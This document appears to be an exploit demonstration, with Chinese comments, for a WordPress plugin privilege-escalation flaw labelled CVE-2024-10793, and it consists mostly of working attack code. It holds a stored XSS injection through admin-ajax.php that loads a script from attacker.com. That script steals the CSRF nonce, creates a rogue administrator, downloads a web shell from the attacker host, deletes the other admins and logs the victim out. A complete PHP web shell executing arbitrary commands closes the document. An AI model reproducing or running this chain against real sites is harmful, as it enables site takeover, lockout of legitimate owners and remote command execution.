CVE-2024-10793 WordPress插件权限提升漏洞利用演示

// 这是从 attacker.com:9091/xpl.js 加载的恶意脚本的核心逻辑

// 1. 创建新的管理员用户
fetch('/wp-admin/user-new.php')
  .then(r => r.text())
  .then(html => {
    const doc = new DOMParser().parseFromString(html, 'text/html');
    const nonce = doc.getElementById('_wpnonce_create-user').value;
    // 构造创建用户的POST请求，添加一个名为'amin'的管理员
    return fetch('/wp-admin/user-new.php', {
      method: 'POST',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: `action=createuser&_wpnonce_create-user=${nonce}&user_login=amin&email=amin@attacker.com&pass1=123456&pass2=123456&role=administrator`
    });
  })
  // 2. 上传Web Shell
  .then(() => fetch('http://attacker.com:9091/shell'))
  .then(r => r.blob())
  .then(zipBlob => {
    // ... 此处省略解压和上传shell.php到 /wp-content/plugins/sogrid/ 的详细代码 ...
  })
  // 3. 删除其他管理员并登出当前用户
  .then(() => {
    // 获取所有用户并删除非'amin'的管理员
    // 最后调用 wp-login.php?action=logout 登出受害者
  });

<?php
// ... 省略会话管理代码 ...
// 构造向目标站点的XMLHttpRequest，注入攻击脚本
$payload = 'CVE-2024-10793<script src="http://attacker.com:9091/xpl.js"><\/script>';
?>
<script>
  const targetOrigin = 'http://goodcms.lab:2121';
  const payload = 'CVE-2024-10793<script src="http://attacker.com:9091/xpl.js"><\/script>';
  const logout = new XMLHttpRequest();
  logout.open('POST', targetOrigin+'/wp-admin/admin-ajax.php', true);
  logout.onreadystatechange = function() {if (this.readyState === this.DONE) console.log('[*] XSS injected!')};
  logout.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  logout.withCredentials = true;
  // 将恶意payload注入到 'user_id' 参数中
  logout.send('action=destroy-sessions&user_id='+encodeURIComponent(payload));
</script>

// 辅助函数：将HTML文本转换为DOM对象
function textToDOM(text) {
  return new DOMParser().parseFromString(text, 'text/html');
}

// 核心功能：添加管理员账户
function addAdmin(email, username, password) {
  return new Promise((resolve, reject) => {
    const path = '/wp-admin/user-new.php';
    const xhr = new XMLHttpRequest();
    xhr.open('GET', path, true);
    xhr.onreadystatechange = function () {
      if (this.readyState === this.DONE && this.status === 200) {
        // 1. 从页面中解析出CSRF Token (_wpnonce_create-user)
        const $ = textToDOM(this.responseText);
        const csrfTokenElement = $.getElementById('_wpnonce_create-user');
        if (csrfTokenElement) {
          const csrfToken = csrfTokenElement.value;
          // 2. 使用获取到的Token发送创建用户的POST请求
          const postXhr = new XMLHttpRequest();
          postXhr.open('POST', path, true);
          postXhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
          postXhr.withCredentials = true;
          postXhr.onreadystatechange = function () {
            if (this.readyState === this.DONE && this.status === 302) {
              // 创建成功，跟随重定向
              const location = postXhr.getResponseHeader('Location');
              // ... 处理重定向 ...
              resolve({ email, username, password });
            }
          };
          // 添加管理员用户的请求体
          const postData = `action=createuser&_wpnonce_create-user=${encodeURIComponent(csrfToken)}&user_login=${username}&email=${email}&pass1=${password}&pass2=${password}&role=administrator`;
          postXhr.send(postData);
        }
      }
    };
    xhr.withCredentials = true;
    xhr.send();
  });
}

<?php
// shell.php - 上传到 /wp-content/plugins/sogrid/shell.php
if (isset($_GET['cmd'])) {
    // 执行系统命令并输出结果
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
} else {
    // 如果没有提供命令，显示一个简单的表单
    echo "<form method='GET'> <input type='text' name='cmd' placeholder='Enter command (e.g., id, whoami, ls)'/> <input type='submit' value='Execute'/> </form>";
}
?>
```FINISHED